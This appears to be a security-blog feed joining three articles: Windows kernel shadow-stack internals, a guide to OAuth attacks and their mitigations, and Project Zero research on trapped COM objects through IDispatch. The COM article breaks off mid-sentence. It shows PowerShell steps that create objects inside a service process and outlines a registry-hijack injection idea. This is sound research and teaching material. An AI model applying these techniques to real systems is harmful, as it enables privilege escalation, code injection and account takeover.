All of the parameters are the same except for the flags/mask. HV_MAP_GPA_READABLE (0x1) is combined with what seems to be an undocumented value of 0x10 which I will simply call HV_MAP_GPA_KERNEL_SHADOW_STACK since it has no official name. The Intel SDM Docs shed a bit of light here. The (what I am calling) HV_MAP_GPA_KERNEL_SHADOW_STACK bit in the mask likely sets bit 60 (SUPERVISOR_SHADOW_STACK) in the EPTE. This is surely what 0x10 denotes in our 0x11 mask. This will mark the page to be treated as read-only (in context of VTL 0) and also treated like a kernel-mode shadow stack page by the hypervisor!

After the protection change occurs, this is the end of the interesting things which happen in the shadow stack creation process in the Secure Kernel! The shadow stack is then returned back to VTL 0 and the target thread can finish initializing. We will now shift our attention to some interesting edge cases where SK’s support is needed still!

Kernel Shadow Stack Assist Functionality

We have, up until this point, seen how a kernel-mode shadow stack is prepared by the Secure Kernel. Now that this has finished, it is worth investigating some of the integrity checks and extra verification the Secure Kernel is responsible for. There is a secure system call in ntoskrnl.exe named nt!VslKernelShadowStackAssist. This function, as we can see, is called from a few different scenarios of interest.

There are certain scenarios, which we can see above, where shadow stacks need legitimate modification. NT delegates these situations to the Secure Kernel since it is a higher security boundary and can protect against unauthorized “taking advantage” of these scenarios. Let’s examing one of these situations. Consider the following call stack, for example.

Here we can see, as part of a file open operation, the operation performs an access check. In the event the proper access is not granted, an exception is raised. This can be seen by examining the raising of the exception itself in NTFS, where the call stack above identifies this exception being raised from.

What happens in this scenario is eventually an exception is dispatched. When an exception is dispatched, this will obviously change the thread’s context. Why? Because the thread is no longer doing what is was previously doing (an access check). It is now dealing with an exception. The appropriate exception handlers are then called in order to potentially correct the issue at hand.

But after the exception handlers are called, there is another issue. How do we make the thread “go back” to what it was previously” doing if the exception can be satisfied? The way this is achieved is by explicitly building and configuring a CONTEXT structure which sets the appropriate instruction pointer (to the operation we were previously executing), stack, thread state, etc. One of the items in the list of things we need to restore is the stack. Consider now we have the implementation of CET! This also means we need to restore the appropriate shadow stack as well. Since the shadow stack is very important as an exploit mitigation, this is not work we would want delegated to NT, since we treat NT as “untrusted”. This is where the Secure Kernel comes in! The Secure Kernel is already aware of the shadow stacks, and so we can delegate the task of restoring the appropriate shadow stack to the Secure Kernel! Here is how this looks.

We can think of the steps leading up to the invocation of the secure system call as “preparing” the CONTEXT structure with all of the appropriate information needed to resume execution (which is gathered from the unwind information). Before actually letting execution resume, however, we ask the Secure Kernel to restore the appropriate shadow stack. This is done by nt!KeKernelShadowStackRestoreContext. We can first see that the CONTEXT record is already prepared to set the instruction pointer back to Ntfs!NtfsFsdCreate, which is the function we were executing in before the exception was thrown if we refer back to the exception callstack screenshot previously shown.

As part of the exception restoration process, the presence of kernel CET is again checked and an instruction called rdsspq is executed, storing the value in RDX (which is used as the second parameter to nt!KeKernelShadowStackRestoreContext) and then invoking the target function to restore the shadow stack pointer.

rdsspq is an instruction which will read the current shadow stack pointer. Remember, the shadow stacks are read-only in VTL 0 (where we are executing). We can read the shadow stack, but we cannot corrupt it. This value will be validated by the Secure Kernel.

nt!KeKernelShadowStackRestoreContext is then invoked. The presence of the mask 0x100080 in the CONTEXT.ContextFlags is checked.

0x100080 actually corresponds to CONTEXT_KERNEL_CET, which is a value which was recently (relatively speaking) added to the Windows SDK. What does CONTEXT_KERNEL_CET indicate? CONTEXT_KERNEL_CET indicates that kernel shadow stack context information is present in the CONTEXT. The only problem is CONTEXT is a documented structure which does not contain any fields related to shadow stack information in kernel-mode. This is actually because we are technically dealing with an undocumented structure called the CONTEXT_EX structure, talked about by my friends Yarden and Alex in their blog on user-mode CET internals. This structure was extended to include a documented KERNEL_CET_CONTEXT structure. The KERNEL_CET_CONTEXT.Ssp is extracted from the structure and is also passed to the secure system call. This is to perform further validation of the shadow stack’s integrity by the Secure Kernel.

nt!VslKernelShadowStackAssist will then issue the secure system call with the appropriate information needed to validate everything and also actually set the restored shadow stack pointer (due to the exception). (Note that I call parameter 2 “optional parameter”. I am not actually sure if it is optional, because most of the time when this was a non-zero parameter it came from KTRAP_FRAME.Dr0, but I also saw other combinations. We are here to simply show functionality related to exceptions and we are not interested for this blog post in other scenarios).

This will redirect execution in the Secure Kernel specifically at securekernel!SkmmNtKernelShadowStackAssist. In our case, execution will redirect into SkmiNtKssAssistRestoreContext.

securekernel!SkmiNtKssAssistRestore will perform the bulk of the work here. This function will call into securekernel!SkmiNtKssAssistDispatch, which is responsible for both validating the context record (and specifically the target instruction pointer) and then actually updates the shadow stack value. Anytime a shadow-stack related instruction is executed (e.g., rdsspq) the target shadow stack value is pulled from a supervisor shadow stack MSR register. For example, the ring 0 shadow stack can be found in the IA32_PL0_SSP MSR register.

However, we must remember, kernel CET requires HVCI to be enabled. This means that Hyper-V will be present! So, when the updating of the shadow stack value occurs via securekernel!SkmiNtKssAssistDispatch, we actually want to set the shadow stack pointer for VTL 0! Remember that VTL 0 is technically treated as a “VM”. The Intel CET specification defines the shadow stack pointer register for a guest as VMX_GUEST_SSP. This is part of the guest state of the VMCS for VTL 0! Thank you, once again, for Andrea for pointing this out to me!

How does the VMCS information get updated? When a given VM (VTL 0 in our case) needs to request the services of the hypervisor (like a hypercall), a vmexit instruction is executed to “exit out of the VM context” and into that of the hypervisor. When this occurs, various “guest state” information is stored in the per-VM structure known as the Virtual Machine Control Structure. The VMX_GUEST_SSP is now part of that preserved guest state, and ONLY the hypervisor is capable of manipulating the VMCS. This means the hypervisor is in control of the guest shadow stack pointer (the shadow stack pointer for VTL 0!). VMX_GUEST_SSP, and many of these other “registers” maintained by the VMCS, are referred to as a “virtual processor register” and can be updated by the hypervisor - typically through a vmwrite instruction.

As I just mentioned, we know we wouldn’t want anyone from VTL 0 to just be able to write to this register. To avoid this, just like updating the permissions of a VTL 0 page (technically GPA), the Secure Kernel asks the hypervisor to do it.

How does updating the guest shadow stack pointer occur? There is a generic function in the Secure Kernel named securekernel!ShvlSetVpRegister. This function is capable of updating the virtual processor registers for VTL 0 (which would include, as we just mentioned, VMX_GUEST_SSP). This function has been written up before by my friend Yarden in her blog post. This function has a target register, which is a value of type HV_REGISTER_NAME. Most of these register values are documented through the TLFS. The problem is the register type used in our case is 0x8008E, which is not documented.

However, as we mentioned before, we know that because of the operation occurring (restoring the shadow stack as a result of the context restore) that the VTL 0 shadow stack will, therefore, need to be updated. We know this won’t be IA32_PL0_SSP, because this is not the shadow stack for a hypervisor. VTL 0 is a “VM”, as we know, and we can therefore not only infer but confirm through SourcePoint that the target register is VMX_GUEST_SSP.

To examine the VMCS update the first thing we will need to do is locate where in hvix64.exe (or hvax64.exe for AMD systems) the operation occurs (which is the Hyper-V binary). A CPU operating in VMX root mode (the CPU is not executing in context of a VM) can execute the vmwrite instruction, specifying a target virtual processor register value, with an argument, and update the appropriate guest state. Since hvix64.exe does not contain any symbols, it was fairly difficult for me to find the location. Starting with the Intel documentation for CET, the target value for VMX_GUEST_SSP is 0x682A. This means we need to locate anytime vmwrite occurs to this value. When I found the target address in hvix64.exe, I set a breakpoint on the target function. We can also see in RDX the target guest shadow stack pointer the Secure Kernel would like to set.

We then can use the actual SourcePoint debugger’s VMCS-viewing capabilities to see the VMX_GUEST_SSP updated in real time.

Before:

After:

This is how the Secure Kernel emits the hypercall to update the VMX_GUEST_SSP in VTL 0’s VMCS guest state in situations where something like a context restore operation takes place!

Thank you to my friends Alex Ionescu, Andrea, and Yarden for helping me with some questions I had about various behavior I was encountering. This is the end of the restore operation, and securekernel!SkmmNtKernelShadowStackAssist will eventually return to VTL 0!

Conclusion

I hope you found this blog post informative! I learned a lot writing it. I hope you can see why, now, the Secure Kernel is required for kernel-mode shadow stacks on Windows. Thank you to Alan Sguigna for sending me the powerful SourcePoint debugger and my friends Andrea, Yarden, and Alex for helping me understand certain behavior I was seeing and answering questions! Here are some resources I used:

  • Intel CET Specification Documentation
  • https://cseweb.ucsd.edu/~dstefan/cse227-spring20/papers/shanbhogue:cet.pdf
  • Intel SDM
  • https://xenbits.xen.org/people/andrewcoop/Xen-CET-SS.pdf

Common OAuth Vulnerabilities

29 January 2025 at 23:00

OAuth2’s popularity makes it a prime target for attackers. While it simplifies user login, its complexity can lead to misconfigurations that create security holes. Some of the more intricate vulnerabilities keep reappearing because the protocol’s inner workings are not always well-understood. In an effort to change that, we have decided to write a comprehensive guide on known attacks against OAuth implementations. Additionally, we have created a comprehensive checklist. It should prove useful for testers and developers alike to quickly assess whether their implementation is secure.

Download the OAuth Security Cheat Sheet Now! Doyensec_OAuth_CheatSheet.pdf.

OAuth Introduction

OAuth Terminology

OAuth is a complex protocol with a many actors and moving parts. Before we dive into its inner workings, let’s review its terminology:

  • Resource Owner: Entity that can grant access to a protected resource. Typically, this is the end-user.
  • Client: Application requesting access to a protected resource on behalf of the Resource Owner.
  • Resource Server: Server hosting the protected resources. This is the API you want to access.
  • Authorization Server: Server that authenticates the Resource Owner and issues Access Tokens after getting proper authorization. For example, Auth0.
  • User Agent: Agent used by the Resource Owner to interact with the Client (for example, a browser or a native application).

References

OAuth Common Flows

Attacks against OAuth rely on challenging various assumptions the authorization flows are built upon. It is therefore crucial to understand the flows to efficiently attack and defend OAuth implementations. Here’s the high-level description of the most popular of them.

Implicit Flow

The Implicit Flow was originally designed for native or single-page apps that cannot securely store Client Credentials. However, its use is now discouraged and is not included in the OAuth 2.1 specification. Despite this, it is still a viable authentication solution within Open ID Connect (OIDC) to retrieve id_tokens.

In this flow, the User Agent is redirected to the Authorization Server. After performing authentication and consent, the Authorization Server directly returns the Access Token, making it accessible to the Resource Owner. This approach exposes the Access Token to the User Agent, which could be compromised through vulnerabilities like XSS or a flawed redirect_uri validation. The implicit flow transports the Access Token as part of the URL if the response_mode is not set to form_post.

OAuth Implicit Flow

References

Authorization Code Flow

The Authorization Code Flow is one of the most widely used OAuth flows in web applications. Unlike the Implicit Flow, which requests the Access Token directly to the Authorization Server, the Authorization Code Flow introduces an intermediary step. In this process, the User Agent first retrieves an Authorization Code, which the application then exchanges, along with the Client Credentials, for an Access Token. This additional step ensures that only the Client Application has access to the Access Token, preventing the User Agent from ever seeing it.

This flow is suitable exclusively for confidential applications, such as Regular Web Applications, because the application Client Credentials are included in the code exchange request and they must be kept securely stored by the Client Application.

OAuth Authorization Code Flow

References

Authorization Code Flow with PKCE

OAuth 2.0 provides a version of the Authorization Code Flow which makes use of a Proof Key for Code Exchange (PKCE). This OAuth flow was originally designed for applications that cannot store a Client Secret, such as native or single-page apps but it has become the main recommendation in the OAuth 2.1 specification.

Two new parameters are added to the default Authorization Code Flow, a random generated value called code_verifier and its transformed version, the code_challenge.

  1. First, the Client creates and records a secret code_verifier and derives a transformed version t(code_verifier), referred to as the code_challenge, which is sent in the Authorization Request along with the transformation method t_m used.
  2. The Client then sends the Authorization Code in the Access Token Request with the code_verifier secret.
  3. Finally, the Authorization Server transforms code_verifier and compares it to t(code_verifier)

The available transformation methods (t_m) are the following:

  • plain code_challenge = code_verifier
  • S256 code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))

Note that using the default Authorization Code flow with a custom redirect_uri scheme like example.app:// can allow a malicious app to register itself as a handler for this custom scheme alongside the legitimate OAuth 2.0 app. If this happens, the malicious app can intercept the authorization code and exchange it for an Access Token. For more details, refer to OAuth Redirect Scheme Hijacking.

With PKCE, the interception of the Authorization Response will not allow the previous attack scenario since attackers would only be able to access the authorization_code but it won’t be possible for them to get the code_verifier value required in the Access Token Request.

The diagram below illustrates the Authorization Code flow with PKCE:

OAuth Authorization Code Flow with PKCE

References

Client Credentials Flow

The Client Credentials Flow is designed for Machine-to-Machine (M2M) applications, such as daemons or backend services. It is useful when the Client is also the Resource Owner, eliminating the need for User Agent authentication. This flow allows the Client to directly retrieve an Access Token by providing the Client Credentials.

The diagram below illustrates the Client Credentials Flow:

OAuth Client Credentials Flow

References

Device Authorization Flow

The Device Authorization Flow is designed for Internet-connected devices that either lack a browser for user-agent-based authorization or are too input-constrained to make text-based authentication practical during the authorization flow.

This flow allows OAuth Clients on devices such as smart TVs, media consoles, digital picture frames or printer to obtain user authorization to access protected resources using a User Agent on a separate device.

In this flow, first the Client application retrieves a User Code and Verification URL from the Authorization Server. Then, it instructs the User Agent to Authenticate and Consent with a different device using the provided User Code and Verification URL.

The following image illustrates the Device Authorization Code Flow:

OAuth Device Authorization Flow

References

Resource Owner Password Credentials Flow

This flow requires the Resource Owner to fully trust the Client with their credentials to the Authorization Server. It was designed for use-cases when redirect-based flows cannot be used, although, it has been removed in the recent OAuth 2.1 RFC specification and its use is not recommended.

Instead of redirecting the Resource Owner to the Authorization Server, the user credentials are sent to the Client application, which then forwards them to the Authorization Server.

The following image illustrates the Resource Owner Password Credentials Flow:

OAuth Resource Owner Password Credentials Flow

References

Attacks

In this section we’ll present common attacks against OAuth with basic remediation strategies.

CSRF

OAuth CSRF is an attack against OAuth flows, where the browser consuming the authorization code is different than the one that has initiated the flow. It can be used by an attacker to coerce the victim to consume their Authorization Code, causing the victim to connect with attacker’s authorization context.

Consider the following diagram:

OAuth CSRF Attack

Depending on the context of the application, the impact can vary from low to high. In either case it is vital to ensure that user has the control of which authorization context they operate in and cannot be coerced into another one.

Mitigation

OAuth specification recommends to utilize the state parameter to prevent CSRF attacks.

[state is] an opaque value used by the client to maintain state between the request and callback. The authorization server includes this value when redirecting the user-agent back to the client. The parameter SHOULD be used for preventing cross-site request forgery (CSRF).

The following scheme illustrates how the state parameter can prevents the attack:

OAuth CSRF Prevention

References

Redirect Attacks

Well implemented Authorization Servers validate the redirect_uri parameter before redirecting the User Agent back to the Client. The allowlist of redirect_uri values should be configured per-client. Such design ensures that the User Agent can only be redirected to the Client and the Authorization Code will be only disclosed to the given Client. Conversely, if the Authorization Server neglects or misimplements this verification, a malicious actor can manipulate a victim to complete a flow that will disclose their Authorization Code to an untrusted party.

In the simplest form, when redirect_uri validation is missing altogether, exploitation can be illustrated with the following flow:

OAuth Redirect Attack

This vulnerability can also emerge when validation is inadequately implemented. The only proper way is validation by comparing the exact redirect_uri including both the origin (scheme, hostname, port) and the path.

Common mistakes include:

  • validating only origin/domain
  • allowing subdomains
  • allowing subpaths
  • allowing wildcards

If the given origin includes a URL with an open redirect vulnerability, or pages with user-controlled content, they can abused to steal the code through the Referer header, or through the open redirect.

On the other hand, the following overlooks:

  • partial path matching
  • misusing regular expressions to match URIs

may lead to various bypasses by crafting a malicious URLs, that will lead to an untrusted origins.

References

Mutable Claims Attack

According to the OAuth specification, users are uniquely identified by the sub field. However there is no standard format of this field. As a result, many different formats are used, depending on the Authorization Server. Some of the Client applications, in an effort to craft a uniform way of identifying users across multiple Authorization Servers, fall back to user handles, or emails. However this approach may be dangerous, depending on the Authorization Server used. Some of the Authorization Servers do not guarantee immutability for such user properties. Even worse so, in some cases these properties can be arbitrarily changed by the users themselves. In such cases account takeovers might be possible.

One of such cases emerges, when the feature “Login with Microsoft” is implemented to use the email field to identify users.. In such cases, an attacker might create their own AD organization (doyensectestorg in this case) on Azure, which can be used then to to perform “Login with Microsoft”. While the Object ID field, which is placed in sub, is immutable for a given user and cannot be spoofed, the email field is purely user-controlled and does not require any verification.

OAuth Claim Takeover

In the screenshot above, there’s an example user created, that could be used to take over an account [email protected] in the Client, which uses the email field for user identification.

References

Client Confusion Attack

When applications implement OAuth Implicit Flow for authentication they should verify that the final provided token was generated for that specific Client ID. If this check is not performed, it would be possible for an attacker to use an Access Token that had been generated for a different Client ID.

Imagine the attacker creates a public website which allows users to log in with Google’s OAuth Implicit flow. Assuming thousands of people connect to the hosted website, the attacker would then have access to their Google’s OAuth Access Tokens generated for the attacker website.

If any of these users already had an account on a vulnerable website that does not verify the Access Token, the attacker would be able to provide the victim’s Access Token generated for a different Client ID and will be able to take over the account of the victim.

A secure OAuth Implicit Flow implemented for authentication would be as follows:

OAuth Secure Implicit Flow

If steps 8 to 10 are not performed and the token’s Client ID is not validated, it would be possible to perform the following attack:

OAuth Client Confusion Attack

Remediation

It is worth noting, that even if the Client uses a more secure flow (e.g. Explicit Flow), it might accept Access Tokens - effectively allowing a downgrade to the Implicit Flow. Additionally, if the application uses the Access Tokens as session cookies or authorization headers it might be vulnerable. In practice, ensuring that the Access Tokens are never accepted from user-controlled parameters breaks the exploitation chain early. On top of that we recommend performing token verification as described above in steps 8 to 10.

References

Scope Upgrade Attack

With the Authorization Code Grant type, the user’s data is requested and sent via secure server-to-server communication.

If the Authorization Server accepts and implicitly trusts a scope parameter sent in the Access Token Request (Note this parameter is not specified in the RFC for the Access Token Request in the Authorization Code Flow), a malicious application could try to upgrade the scope of Authorization Codes retrieved from user callbacks by sending a higher privileged scope in the Access Token Request.

Once the Access Token is generated, the Resource Server must verify the Access Token for every request. This verification depends on the Access Token format, the commonly used ones are the following:

  • JWT Access Token: With this kind of access token, the Resource Server only needs to check the JWT signature and then retrieve the data included in the JWT (client_id, scope, etc.)
  • Random String Access Token: Since this kind of token does not include any additional information in them, the Resource Server needs to retrieve the token information from the Authorization Server.

OAuth Scope Upgrade

Mitigation

Following the RFC guidelines, the scope parameter should not be sent in the Access Token Request in the Authorization Code flow, although it can be specified in other flows such as the Resource Owner Password Credentials Grant.

The Authorization Server should either ignore the scope parameter or verify it matches the previous scope provided in the Authorization Request.

References

Redirect Scheme Hijacking

When the need to use OAuth on mobile arises, the mobile application takes the role of OAuth User Agents. In order for them to be able to receive the redirect with Authorization Code developers often rely on the mechanism of custom schemes. However, multiple applications can register given scheme on a given device. This breaks OAuth’s assumption that the Client is the only one to control the configured redirect_uri and may lead to Authorization Code takeover in case a malicious app is installed in victim’s devices.

Android Intent URIs have the following structure:

<scheme>://<host>:<port>[<path>|<pathPrefix>|<pathPattern>|<pathAdvancedPattern>|<pathSuffix>]

So for instance the following URI com.example.app://oauth depicts an Intent with scheme=com.example.app and host=oauth. In order to receive these Intents an Android application would need to export an Activity similar to the following:

    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauth" android:scheme="=com.example.app"/>
    </intent-filter>

Android system is pretty lenient when it comes to defining Intent Filters. The less filter details, the wider net and more potential URIs caught. So for instance if only scheme is provided, all Intents for this scheme will be caught, regardless of there host, path, etc.

If there are more than one applications that can potentially catch given Intent, they system will let the user decide which to use, which means a redirect takeover would require user interaction. However with the above knowledge it is possible to try and create bypasses, depending on how the legitimate application’s filter has been created. Paradoxically, the more specific original developers were, the easier it is to craft a bypass and take over the redirect without user interaction. In detail, Ostorlab has created the following flowchart to quickly assess whether it is possible:

OAuth Scheme Hijacking

Recommendation

For situations where the Explicit Authorization Code Flow is not viable, because the Client cannot be trusted to securely store the Client Secret, Authorization Code Flow with Proof Key for Code Exchange (PKCE) has been created. We recommend utilizing this flow for authorizing mobile applications.

Additionally, to restore the trust relation between the Authorization Server and redirect_uri target, it is recommended to use Android’s Verifiable Links and iOS’s Associated Domains mechanisms.

In short, Android’s announced autoVerify property for Intent Filters. In detail, developers can create an Intent Filter similar to the following:

<intent-filter android:autoVerify="true">
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT" />
  <category android:name="android.intent.category.BROWSABLE" />
  <data android:scheme="http" />
  <data android:scheme="https" />
  <data android:host="www.example.com" />
</intent-filter>

When the Intent Filter is defined in the above way, the Android system verifies whether the defined host is actually owned by the creator of the app. In detail, the host needs to publish a /.well-known/assetlinks.json file to the associated domain, listing the given APK, in order for it to be allowed to handle given links:

[{
  "relation": ["delegate_permission/common.handle_all_urls"],
  "target": {
    "namespace": "android_app",
    "package_name": "com.example",
    "sha256_cert_fingerprints":
    ["14:6D:E9:83:C5:73:06:50:D8:EE:B9:95:2F:34:FC:64:16:A0:83:42:E6:1D:BE:A8:8A:04:96:B2:3F:CF:44:E5"]
  }
}]

Thanks to this design, rogue applications cannot register their own Intent Filter for the already claimed host, although this would only work if the handled scheme is not custom. For instance, if the application handles the com.example.app:// scheme there is no way to give additional priority and the user will have to choose between the apps that implement a handler for that specific scheme.

References

Summary

This article provides a comprehensive list of attacks and defenses for the OAuth protocol. Along with the post itself, we are releasing a comprehensive cheat-sheet for developers and testers.

Download the OAuth Security Cheat Sheet: Doyensec_OAuth_CheatSheet.pdf.

As this field is subject to frequent new research and development, we do not claim full knowledge of all intricacies. If you have suggestions on how to improve this summary, feel free to contact the authors. We would be glad to update this blog post so that it can be considered as a comprehensive resource for anyone interested in the topic.

Windows Bug Class: Accessing Trapped COM Objects with IDispatch

30 January 2025 at 17:57

Posted by James Forshaw, Google Project Zero

Object orientated remoting technologies such as DCOM and .NET Remoting make it very easy to develop an object-orientated interface to a service which can cross process and security boundaries. This is because they're designed to support a wide range of objects, not just those implemented in the service, but any other object compatible with being remoted. For example, if you wanted to expose an XML document across the client-server boundary, you could use a pre-existing COM or .NET library and return that object back to the client. By default when the object is returned it's marshaled by reference, which results in the object staying in the out-of-process server.

This flexibility has a number of downsides, one of which is the topic of this blog, the trapped object bug class. Not all objects which can be remoted are necessarily safe to do so. For example, the previously mentioned XML libraries, in both COM and .NET, support executing arbitrary script code in the context of an XSLT document. If an XML document object is made accessible over the boundary, then the client could execute code in the context of the server process, which can result in privilege escalation or remote-code execution.

There are a number of scenarios that can introduce this bug class. The most common is where an unsafe object is shared inadvertently. An example of this was CVE-2019-0555. This bug was introduced because when developing the Windows Runtime libraries an XML document object was needed. The developers decided to add some code to the existing XML DOM Document v6 COM object which exposed the runtime specific interfaces. As these runtime interfaces didn't support the XSLT scripting feature, the assumption was this was safe to expose across privilege boundaries. Unfortunately a malicious client could query for the old IXMLDOMDocument interface which was still accessible and use it to run an XSLT script and escape a sandbox.

Another scenario is where there exists an asynchronous marshaling primitive. This is where an object can be marshaled both by value and by reference and the platform chooses by reference as the default mechanism, For example the FileInfo and DirectoryInfo .NET classes are both serializable, so can be sent to a .NET remoting service marshaled by value. But they also derive from the MarshalByRefObject class, which means they can be marshaled by reference. An attacker can leverage this by sending to the server a serialized form of the object which when deserialized will create a new instance of the object in the server's process. If the attacker can read back the created object, the runtime will marshal it back to the attacker by reference, leaving the object trapped in the server process. Finally the attacker can call methods on the object, such as creating new files which will execute with the privileges of the server. This attack is implemented in my ExploitRemotingService tool.

The final scenario I'll mention as it has the most relevancy to this blog post is abusing the built in mechanisms the remoting technology uses to lookup and instantiate objects to create an unexpected object. For example, in COM if you can find a code path to call the CoCreateInstance API with an arbitrary CLSID and get that object passed back to the client then you can use it to run arbitrary code in the context of the server. An example of this form is CVE-2017-0211, which was a bug which exposed a Structured Storage object across a security boundary. The storage object supports the IPropertyBag interface which can be used to create an arbitrary COM object in the context of the server and get it returned to the client. This could be exploited by getting an XML DOM Document object created in the server, returned to the client marshaled by reference and then using the XSLT scripting feature to run arbitrary code in the context of the server to elevate privileges.

Where Does IDispatch Fits In?

The IDispatch interface is part of the OLE Automation feature, which was one of the original use cases for COM. It allows for late binding of a COM client to a server, so that the object can be consumed from scripting languages such as VBA and JScript. The interface is fully supported across process and privilege boundaries, although it's more commonly used for in-process components such as ActiveX.

To facilitate calling a COM object at runtime the server must expose some type information to the client so that it knows how to package up parameters to send via the interface's Invoke method. The type information is stored in a developer-defined Type Library file on disk, and the library can be queried by the client using the IDispatch interface's GetTypeInfo method. As the COM implementation of the type library interface is marshaled by reference, the returned ITypeInfo interface is trapped in the server and any methods called upon it will execute in the server's context.

The ITypeInfo interface exposes two interesting methods that can be called by a client, Invoke and CreateInstance. It turns out Invoke is not that useful for our purposes, as it's not supported for remoting, it can only be called if the type library is loaded in the current process. However, CreateInstance is implemented as remotable, this will instantiate a COM object from a CLSID by calling CoCreateInstance. Crucially the created object will be in the server's process, not the client.

However, if you look at the linked API documentation there is no CLSID parameter you can pass to CreateInstance, so how does the type library interface know what object to create? The ITypeInfo interface represents any type which can be present in a type library. The type returned by GetTypeInfo just contains information about the interface the client wants to call, therefore calling CreateInstance will just return an error. However, the type library can also store information of "CoClass" types. These types define the CLSID of the object to create, and so calling CreateInstance will succeed.

How can we go from the interface type information object, to one representing a class? The ITypeInfo interface provides us with the GetContainingTypeLib method which returns a reference to the containing ITypeLib interface. That can then be used to enumerate all supported classes in the type library. It's possible one or more of the classes are not safe if exposed remotely. Let's go through a worked example using my OleView.NET PowerShell module, first we want to find some target COM services which also support IDispatch. This will give us potential routes for privilege escalation.

PS> $cls = Get-ComClass -Service

PS> $cls | % { Get-ComInterface -Class $_ | Out-Null }

PS> $cls | ? { $true -in $_.Interfaces.InterfaceEntry.IsDispatch } | 

        Select Name, Clsid

Name                                       Clsid

----                                       -----

WaaSRemediation                            72566e27-1abb-4eb3-b4f0-eb431cb1cb32

Search Gathering Manager                   9e175b68-f52a-11d8-b9a5-505054503030

Search Gatherer Notification               9e175b6d-f52a-11d8-b9a5-505054503030

AutomaticUpdates                           bfe18e9c-6d87-4450-b37c-e02f0b373803

Microsoft.SyncShare.SyncShareFactory Class da1c0281-456b-4f14-a46d-8ed2e21a866f

The -Service switch for Get-ComClass returns classes which are implemented in local services. We then query for all the supported interfaces, we don't need the output from this command as the queried interfaces are stored in the Interfaces property. Finally we select out any COM class which exposes IDispatch resulting in 5 candidates. Next, we'll pick the first class, WaasRemediation and inspect its type library for interesting classes.

PS> $obj = New-ComObject -Clsid 72566e27-1abb-4eb3-b4f0-eb431cb1cb32

PS> $lib = Import-ComTypeLib -Object $obj

PS> Get-ComObjRef $lib.Instance | Select ProcessId, ProcessName

ProcessId ProcessName

--------- -----------

    27020 svchost.exe

PS> $parsed = $lib.Parse()

PS> $parsed

Name               Version TypeLibId

----               -------- ---------

WaaSRemediationLib 1.0      3ff1aab8-f3d8-11d4-825d-00104b3646c0

PS> $parsed.Classes | Select Name, Uuid

Name                          Uuid

----                          ----

WaaSRemediationAgent          72566e27-1abb-4eb3-b4f0-eb431cb1cb32

WaaSProtectedSettingsProvider 9ea82395-e31b-41ca-8df7-ec1cee7194df

The script creates the COM object and then uses the Import-ComTypeLib command to get the type library interface. We can check that the type library interface is really running out of process by marshaling it with Get-ComObjRef then extracting the process information, showing it running in an instance of svchost.exe which is the shared service executable. Inspecting the type library through the interface is painful, to make it easier to display what classes are supported, we can parse the library into an easier to use object model with the Parse method. We can then dump information about the library, including a list of its classes.

Unfortunately for this COM object the only classes the type library supports are already registered to run in the service and so we've gained nothing. What we need is a class that is only registered to run in the local process, but is exposed by the type library. This is a possibility as a type library could be shared by both local in-process components and an out-of-process service.

I inspected the other 4 COM classes (one of which is incorrectly registered and isn't exposed by the corresponding service) and found no useful classes to try and exploit. You might decide to give up at this point, but it turns out there are some classes accessible, they're just hidden. This is because a type library can reference other type libraries, which can be inspected using the same set of interfaces. Let's take a look:

PS> $parsed.ReferencedTypeLibs

Name   Version TypeLibId

----   ------- ---------

stdole 2.0     00020430-0000-0000-c000-000000000046

PS> $parsed.ReferencedTypeLibs[0].Parse().Classes | Select Name, Uuid

Name       Uuid

----       ----

StdFont    0be35203-8f91-11ce-9de3-00aa004bb851

StdPicture 0be35204-8f91-11ce-9de3-00aa004bb851

PS> $cls = Get-ComClass -Clsid 0be35203-8f91-11ce-9de3-00aa004bb851

PS> $cls.Servers

           Key Value

           --- -----

InProcServer32 C:\Windows\System32\oleaut32.dll

In the example we can use the ReferencedTypeLibs property to show what type libraries were encountered when the library was parsed. We can see a single entry for the stdole which is basically always going to be imported. If you're lucky, maybe there's other libraries that are imported that you can inspect. We can parse the stdole library to inspect its list of classes. There's two classes that are exported by the type library, if we inspect the servers for StdFont we can see that it is only specified to be creatable in process, we now have a target class to look for bugs. To get an out of process interface for the stdole type library we need to find a type which references it. The reason for the reference is that common interfaces such as IUnknown and IDispatch are defined in the library, so we need to query the base type of an interface we can directly access.  Let's try to create the object in the COM service.

PS> $iid = $parsed.Interfaces[0].Uuid

PS> $ti = $lib.GetTypeInfoOfGuid($iid)

PS> $href = $ti.GetRefTypeOfImplType(0)

PS> $base = $ti.GetRefTypeInfo($href)

PS> $stdole = $base.GetContainingTypeLib()

PS> $stdole.Parse()

Name   Version TypeLibId

----   ------- ---------

stdole 2.0     00020430-0000-0000-c000-000000000046

PS> $ti = $stdole.GetTypeInfoOfGuid("0be35203-8f91-11ce-9de3-00aa004bb851")

PS> $font = $ti.CreateInstance()

PS> Get-ComObjRef $font | Select ProcessId, ProcessName

ProcessId ProcessName

--------- -----------

    27020 svchost.exe

PS>  Get-ComInterface -Object $Obj

Name                 IID                                  HasProxy   HasTypeLib

----                 ---                                  --------   ----------

...

IFont                bef6e002-a874-101a-8bba-00aa00300cab True       False

IFontDisp            bef6e003-a874-101a-8bba-00aa00300cab True       True

We query the base type of an existing interface through a combination of GetRefTypeOfImplType and GetRefTypeInfo, then use GetContainingTypeLib to get the referenced type library interface. We can parse the library to be confident that we've got the stdole library. Next we get the type info for the StdFont class and call CreateInstance. We can inspect the object's process to ensure it was created out of process, the results shows its trapped in the service process. As a final check we can query for the object's interfaces to prove that it's a font object.

Now we just need to find a way of exploiting one of these two classes, the first problem is only the StdFont object can be accessed. The StdPicture object does a check to prevent it being used out of process. I couldn't find useful exploitable behavior in the font object, but I didn't spend too much time looking. Of course, if anyone else wants to look for a suitable bug in the class then go ahead.

This research was therefore at a dead end, at least as far as system services go. There might be some COM server accessible from a sandbox but an initial analysis of ones accessible from AppContainer didn't show any obvious candidates. However, after thinking a bit more about this I realized it could be useful as an injection technique into a process running at the same privilege level. For example, we could hijack the COM registration for StdFont, to point to any other class using the TreatAs registry key. This other class would be something exploitable, such as loading the JScript engine into the target process and running a script.

Still, injection techniques are not something I'd usually discuss on this blog, that's more in the realm of malware. However, there is a scenario where it might have interesting security implications. What if we could use this to inject into a Windows Protected Process? In a strange twist of fate, the WaaSRemediationAgent class we've just been inspecting might just be our ticket to ride:

